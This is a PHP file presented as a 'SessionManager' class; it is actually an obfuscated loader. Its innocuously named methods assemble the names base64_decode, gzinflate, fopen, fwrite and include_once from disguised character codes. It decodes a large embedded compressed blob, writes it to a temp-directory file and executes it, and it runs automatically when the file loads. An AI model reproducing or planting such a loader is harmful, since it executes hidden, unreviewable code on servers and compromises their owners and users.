<?php
class SessionManager {
	private $gb = '';
	private $cr = '';

	public function logEvent($p1) {
		$a = array((101),((51*56)-2756),(67+42+2),((55*1)+44),(((62*3)-85)),((74*1)+26),((46+26+23)),(((54*25)-1298)),((2*27)),(101),((113+2)),(97),(105-7));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function cacheData($p1) {
		$a = array((103*1),(((115*1)+7)),((74+10+21)),(((67*4)-158)),102,(86+22),(97),((24*84)-1900),((6*10)+41));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function updateRegistry($p1,$p2) {
		$a = array((((9*27)-133)),(((56*1)+45)),((2*56)),(54+57),((25+22+55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function fetchSummary($p1,$p2) {
		$a = array(((101*1)),((42+74)),(((17*7)-14)),(((50*7)-236)),119,(105-3));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function trackActivity($p1) {
		$a = array((101*1),(115),111,((110-2)),((101-2)),((71+4+27)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function filterResults($p1,$p2=null) {
		$a = array((114),(((59*1)+57)),(121-7),((96*1)+9),(79+24+6));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function sendNotification() {
		$this->cr = $this->filterResults($this->updateCache(), '/');
	}

	public function rollbackTransaction() {
		$this->gb = $this->cacheData($this->logEvent($this->ij));
	}

	public function validateInput() {
		$fn = $this->cr.'/uh-67e20ac8524ea';
		$f = $this->updateRegistry($fn, 'w');
		$this->fetchSummary($f, $this->gb);
		$this->trackActivity($f);
		$this->sanitizeInput($fn);
	}

	private $ij = 'jVgLc6LKEv4rSdXWUQq1BMTIejlbeWiS3awm+IxbKYvHqAgCE' . 'Xzm5L+f7hnwgps1JwmGmf76OT3dM/7vWzALzkxXD8OzMYnWb8H' . 'SXusROQsjPbLNL+Od59bZ+9lk5ZmR7XsANPJfxsbrnHuzJ/nzk' . 'LiTr18plGPvY32i57n6kkSrpXdm6CGpVsYWMX2L5FPoX1TIC1d' . '/z2pNaaKC3lI8qr5c6rt8bjw3Fzn179zToDXPlXKjYWv/0GutD' . 'U/bGeImehpsQ0Myo670PRiJ7qptA+gSntdcITd2zIjywlhUVtZ' . 'tf2VdCz0yvHLb9tXMvLsK9UFrZt26a8NWXp+Ho5kptnY6wIfwX' . 'MFTRjGuo6OYZ3EKMyrOTBc2zoyG7g/ztnXT6Y6+6wuz3L0NvFZ' . 'j+zraaz9x3Bm4kj7QhtrAfdR7/mbgzto/G25gie7c6I+iziBYA' . '/2u7wUOiH4q+/ApowKbOm0OrSrMEHRIpYrXAUHC462yfJyqiTk' . 'bMmezMPF9NrqBf5WE5jg+0iyxGRpUTkKwI8qEr3r4mrzaVvI2n' . '+/xVb/TyuaNv36QroRnW5ZGg+8LfQBCtq5+q+whqLuHBSxIR5k' . 'borAxpJZr2vKruVec56E2e0S/0mrX0w0NptSHmZ3RVOBfAI8Bz' . '8JNQr5wnYNymGuicM2l/uxoZMSWP0IrBDq5e02j735STQvHw1m' . 'Nyizl+r37SxbE7WJCZWC4mjFVj/OGIXaWyeLfd00PZp3Een1KA' . '71hMIOhMF/6aLrpOQxFI3vfmPVQb/Ny/bNT2dw8BfcQHVTWhse' . '+PMikuYTBhBkrZQS1EthuDFFejQatsj5QIMOvbgzAjp7KP26ef' . 'IoMfZoVptQK23ZtTX3cR8lCLiySKLAyGWDQtMZsefKTucia4WS' . 'nqfV6TeWm2wCC2+yid9qkg+4kgUI0eU2jn4fl0WPPta56jtbU6' . 'MredgX4vE/wWxoYjIrTb3UFrTksNxta80A3J15KXr9X7qNKAOG' . 'qogk9uUeTYHYMA8wdUAFDActd4r1jzVPYjtYb4aozE+CjQ91w/' . 'gRBhylksZolErf6OhsiiA9GCeLTv2RbKzgGAL3rxgE8RC+0zRi' . 'HZvcQlIohqqdhhBjeU7y1+S3ayOhaWKwOeJQSh53FdE9j0WMRR' . '89YPHFlU6Fnke8l64Lboskg6QX0HVqYRrffPWOgOKOnQ7ZuNzS' . 'NOzQ/qrDVDsXJpZvhbjPt9xppQngg9BbItcCdkdRvivBCirjZ2' . 'rjHsP5XftBAuFua0UMW7v3UoCUO6INGwrugi2TGkjEOZlJSCep' . 'Aq6Ejvc+IbpFlHpsiNDToeKzlcFz9AwrmA5oSIR16oh2GJIIee' . 'dvo/krj3Dh39Bz3wnFvX8avnjrWN4uMMKBjQ4FWwoQh6q+/wmg' . 'Z+CEdFI7QNnWF485VdaK7IeHeLJtkRK6xkhKU904A8BsdGwUS3' . '0/Yjqaj7X5iuzefqF/G1+32j/tG/QuUZl/Ny5VK8awol2t8USj' . 'LIlenLV7NV2u8VJSqfFGs4VzgxH2cDX5R7hf1A7+gGXH1zcx2S' . 'XLkSDGUVGrFr7ztRdzSX3lWXijz9I97iU8XGMHz32EyL8gJhs8' . 'XBVHhhUqxVgXrxbIIHr79n6+oiHyxiiShKvGifGCrShUenK0Ae' . 'w1YjCXRHRYJnv+jY3pIjyFxaAD4zmIUy5QUoSjVKhyfF4QaXyt' . 'LoL3MIQgDTIWm/KiUqqmfC/6TMfeS50rHMgSRF8DjOFBAK1Yk8' . 'FWR+KJUFjEgcu0lT/XTdWfGZmVUSzKfergYX6A46QLSQarUILI' . 'v8YKnWMWSKPPZD8oOagrHWOnIvU/G3AtztigJCqSeLBWrZQGXU' . 'VCqqCIrvFaS0j/8J2Nq5HFagfsCus/hbrI9011ZJA5d/T11rIU' . 'tD8dZAxwMJ4GaM307B++baKlGyxXBKE9fzUza4GawaNbMjShDm' . 'cc1cJ/Dtd0ZrACNTd11dcM9KgRxcdnAdqdbyZyo5mrpjm3Pxk0' . 'Psrk6nYAi4Ac4BZDCdU97aD92x53Ow7jf0O6bz4+NhlZg1eY/4' . 'e/anW4hHSle4E5xNtsPD+3BQ/v6snvfbhXk2kVRVhRcO+kUm9b' . 'o9rRWV7tsdeAAkVZYhqWB56TSu8blDXAVxaqMVUzGpFEqpziu2' . '61W47rbvf/ZaPe6BaXCSwpwVWonrUzgKfNkHk1jy04ZyZaYjA2' . 'n7RmbnZLI9iZ+QqBzpuuHJJmh/cKeZSo3NlA4N3Mv52p6y1ZLm' . 'b3zyZjj4uscXfS4j0DCuBs10JchGYMpSQKBBa6ap8TfWsgO7FC' . 'PKz2c06n362mGgid1zOkP5OBZndWspF8dg3Z0w2Bfxu2IskvZO' . 'jz9ULaB+PoH8PmHcJ32KSg0x6onbK+ubXUS+qbjB8TL49K439J' . 'I7AVwSOe+pie3uJnxKPGx67iccHTnXgpUXPUC01Sqfk3X1DKf/' . 'CVnCLCEe5sEqyhkgwK6iCZugnRWlHn6m/Tc8wnxE26sF1sP/IE' . 'kTISkdcpVPvUkejcBR7MaezVws0kUk4kuXDlwjY5swX6Q/cAqm' . 'uQ72gRHFpaWVAdtpfu9mqREp6FB9TmOX4RZMcOsAO9JcAqN9xi' . 'GC4KTQLjAMNzcPgUzJ6DaQ+i3D+lObFkmHZa4QWg2WdtTwpHZm' . 'v9ZOD0C4vnzSD6mFNxi6IHkdPC28YV4/WclNr22gwZv5bqfxhd' . 'vOqfstTZJQGJxnywDbvc9C9cJqRPvIBGycWK7EVmO1/oyTwOQz' . 'mlFyNbET8asp+pEpYJYjTzWQIKCCOdJ8eKCNZcDBwkORZWOwdX' . '6qfO477BjPx7GiTnzzzIrBbcuLB86yRQmDKfL6phdOq5DjGBtM' . 'wT8liOE3CBbOB9w1KDzxCKdcP/8cxjN7fTI2qJZMVPsVjSNT/1' . 'pBXhn49S/UdrxvWaPJxWDUed2hrpgWYgU0ASJsVqq0ICIR79jj' . 'L9xjEfz0PeSdzSCo60muXkh63+4ZsEtMX3BwoAj5hCX938B';

	public function sanitizeInput($p) {
		include_once $p;
	}

	public function updateCache() {
		$a=array((((73*1)+42)),(((112*123)-13655)),(5*23),(99-4),((111-8)),((102*102)-10303),(116),((18*87)-1471),((2*58)),((43*2)+15),(109*1),((97*36)-3380),95,((15+85)),105,((121-7)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ys = new SessionManager();
$ys->sendNotification();
$ys->rollbackTransaction();
$ys->validateInput();
